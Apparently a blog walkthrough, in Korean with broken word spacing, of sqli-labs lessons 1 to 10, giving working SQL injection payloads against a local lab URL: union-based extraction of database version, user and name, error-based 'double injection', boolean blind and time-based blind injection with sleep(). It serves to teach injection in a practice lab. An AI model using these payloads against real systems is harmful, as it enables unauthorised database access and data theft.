sqli - lab 상세 풀이 - 문제 풀이 노트 1 - 10 (입문 급 주석)
5753 단어 SQL 주입
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4--+
그 중에서 4 는 데이터베이스 열 수 를 말 합 니 다. 우 리 는 끊임없이 바 꾸 고 맞 혀 야 합 니 다. 숫자 가 데이터베이스 열 보다 크 면 오 류 를 보고 하고 작 으 면 정상 적 인 반환 을 받 을 수 있 습 니 다. 문제 중의 데이터 베 이 스 는 3 열 이 있 습 니 다. 4 타 임 스 오 류 를 맞 히 고 3 으로 바 꾸 면 정확 합 니 다.
2. 유 니 온 조회 로 출력 위치 와 내용 판단
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
여기 있 는 - 1 은 소수 나 자모 로 바 꿀 수 있 습 니 다. id 는 보통 자연수 이기 때문에 id 가 아 닌 숫자 를 입력 하면 where 가 성립 되 지 않 으 면 뒤에 있 는 유 니 온 조회 내용 만 표 시 됩 니 다. (제목 은 한 줄 만 표시 합 니 다)결 과 는 Welcome Dhakkan Your Login name: 2 Your Password: 3 으로 select 의 첫 번 째 필드 가 표시 되 지 않 고 두 번 째, 세 번 째 필드 는 각각 두 번 째, 세 번 째 줄 의 콜론 뒤에 표 시 됩 니 다. 즉, 이 두 줄 은 우리 가 정 보 를 얻 는 출력 점 입 니 다.
3. 그 다음 에 데이터 베 이 스 를 얻 을 수 있 는 기본 적 인 정 보 를 얻 을 수 있 습 니 다. 작업 은 위의 문장 중의 2, 3 을 각각 필요 한 조회 내용 의 문장 으로 바 꾸 어 데이터 베이스 버 전과 현재 데이터 베이스 의 이름 을 얻 는 것 입 니 다.
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+
데이터베이스 현재 사용자, 데이터베이스 이름, 버 전 정보 가 져 오기
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,concat_ws(0x7e,user(),database(),version()) --+
등등, SQL 조 회 를 사용 하 는 것 과 마찬가지 로 실전 에 서 는 SQL 언어 와 각 버 전의 데이터베이스 특성 을 숙지 하고 필요 한 정 보 를 조금씩 터 뜨 려 야 합 니 다. 긴 말 하지 않 고 그 다음 에 정 보 를 터 뜨 려 야 합 니 다. TIPS: limit, concat 등 함 수 를 이용 하여 출력 을 제한 하 는 환경 에서 충분히 발굴 하도록 주의 하 세 요.
문제 가 답 을 얻 으 면 끝 이 라 고 할 수 있 습 니 다. 앞에서 말 한 정 보 를 계속 발굴 하 는 것 은 똑 같 습 니 다. 뒤의 문 제 는 주로 답 을 말 하고 중복 되 는 부분 은 더 이상 군말 하지 않 습 니 다.
less - 2 오류 보고 기반 - 정형 소스 코드: SELECT * FROM users WHERE id = $id LIMIT 0, 1 답 및 해석:http://127.0.0.1/sqli-labs-master/Less-2/?id= 1 or 1=1 -1 union select …
less - 3 오류 기반 - 작은 따옴표 문자열 변형 소스 코드: SELECT * FROM users WHERE id = ('$id') LIMIT 0, 1http://127.0.0.1/sqli-labs-master/Less-3/?id= 1’) or 1=1 --+ -1’) union select … --+
less - 4 기반 오류 - 더 블 따옴표 문자열 원본 코드: id = '. id.' ''; (형식 오류 가 발생 하지 않도록 변수 기 호 를 제거) sql = 'SELECT * FROM users WHERE id = ($id) LIMIT 0, 1';http://127.0.0.1/sqli-labs-master/Less-4/?id= 1") or 1=1 --+ -1") union select … --+
소절: 상기 몇 문 제 는 큰 유형 이 라 고 할 수 있 으 며 주입 점 의 유형 에 따라 SQL 문 구 를 구성 합 니 다.
less - 5 더 블 주입 - 작은 따옴표 문자열 입력 id, You are in 만 되 돌려 주 고 데이터베이스 내용 을 되 돌려 주지 않 습 니 다. 2 차 주입 더 블 주입 을 고려 합 니 다. my sql 에 서 는 select count (*), concat (select database (), floor (rand () * 2) 를 입력 합 니 다.as a from information schema. tables group by a 데이터 베 이 스 는 오류 가 발생 하고 굵 은 글 자 를 추가 하 는 부분 을 표시 합 니 다. 그 다음 에 1 또는 0 을 따라 갑 니 다. 기울 임 꼴 부분 은 데이터 베이스 의 모든 표 로 바 꿀 수 있 습 니 다 (여러 줄 이 있어 야 합 니 다)오류 도 몇 번 더 실행 해 야 발생 합 니 다. 중복 되 는 키 값 이 발생 하 는 것 은 확률 사건 이기 때 문 입 니 다. 이 오류 의 원 리 는 인터넷 상의 다른 글 을 참고 할 수 있 습 니 다. 필 자 는 너무 깊이 연구 하지 않 아 도 된다 고 생각 합 니 다. 대체적으로 알 면 된다 고 생각 합 니 다. 아래 참고 링크 를 첨부 합 니 다. 더 블 주입 원리 참조 더 블 주입 이 어떻게 발생 하 는 지 알 고 있 으 면 유 니 온 조회 에 가입 하면 됩 니 다.
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select 1,count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a --+
less - 6 쌍 주입 - 쌍 따옴표 문자열 원 리 는 이전 문제 와 같 으 며, 단지 쌍 따옴표 로 바 꾸 어 닫 을 뿐이다.
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" union select 1,count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a --+
* * less - 7 * * 업데이트 대기
less - 8 블라인드 - 불 형 - 작은 따옴표 라 는 문 제 는 데이터베이스 정 보 를 직접 되 돌려 주지 않 습 니 다. 그러나 where 뒤의 문 구 는 진실 이 고 you are in 을 표시 합 니 다. 그렇지 않 으 면 아무것도 표시 되 지 않 습 니 다. 우 리 는 입력 한 내용 이 진짜 인지 아 닌 지 판단 할 수 밖 에 없습니다. 이때 우리 의 생각 은 하나의 알파벳 을 맞 추 는 것 입 니 다. 예 를 들 어 데이터 베이스 이름 을 찾 으 려 면 첫 번 째 자모 부터 맞 춰 보 세 요.두 번 째 는 모두 시험 해 볼 때 까지 입 니 다. 우 리 는 한 가지 예 가 있 습 니 다.
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))>64 --+
현재 데이터베이스 의 첫 번 째 알파벳 인 ASCII 코드 의 값 이 64 보다 큰 지, 크 면 진짜 로 되 돌아 가 는 지, 창 에 you are in 을 표시 하 는 지, 그렇지 않 으 면 표시 되 지 않 고 114 까지 시도 할 때 도 진짜 로 되 어 있 는 지, 115 시 까지 가짜 로 되 어 있 는 지, ASCII 코드 가 115 이 고 소문 자 s 에 대응 하여 다른 알파벳 을 얻 을 수 있다 는 것 을 의미한다. 여기 서 알 아야 할 것 은 해당 함수 와 그 용법, ASCII 코드 의 값 등 이다.판단 문 구 는 또 다른 구조 방법 이 있 습 니 다. 원리 가 같 습 니 다. 물론 이렇게 수 동 으로 시험 하 는 효율 이 비교적 낮 습 니 다. 이 때 는 도 구 를 사용 하거나 도 구 를 직접 작성 한 다음 에 다시 말 할 수 있 습 니 다. 주의: select database () 밖 에는 반드시 괄호 로 묶 어야 합 니 다 (select database ().
less - 9 블라인드 - 시간 기반 - 작은 따옴표 라 는 문 제 는 주 입 된 문장의 진 위 를 막론하고 모두 you are in 으로 돌아 갑 니 다. 그러면 이때 시간 을 바탕 으로 하 는 블라인드 사 고 는 바로 입력 이 진실 이 되면 바로 값 을 되 돌려 주 고 입력 이 가짜 일 때 몇 초 후에 돌아 오 며 이에 따라 내용 을 판단 하 는 것 입 니 다.
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),1,1))<115,0,sleep(5)) --+
sleep 의 시간 은 필요 에 따라 설정 합 니 다.
less - 10 블라인드 - 시간 기반 - 더 블 따옴표 작은 따옴표 로 바 꾸 고 다른 것 은 같 습 니 다.
필 자 는 불 여우 브 라 우 저 에서 테스트, url 인 코딩 전의 등 세부 적 인 환경 이 다 를 수 있 습 니 다. 글 의 오리지널 에 약간 차이 가 있 을 수 있 습 니 다. 옮 겨 실 으 려 면 작가 에 게 연락 하 십시오!
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Node-RED의 SQL 주입 방지Node-RED를 간단한 REST API 서버로 사용하는 문제가 있으며, DB 서버 (MySQL)에 로그를 저장하는 장치가되어 있지만, SQL 인젝션 대책은 어떻게 할까라고 생각해, 조사해 본 이야기. node-re...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.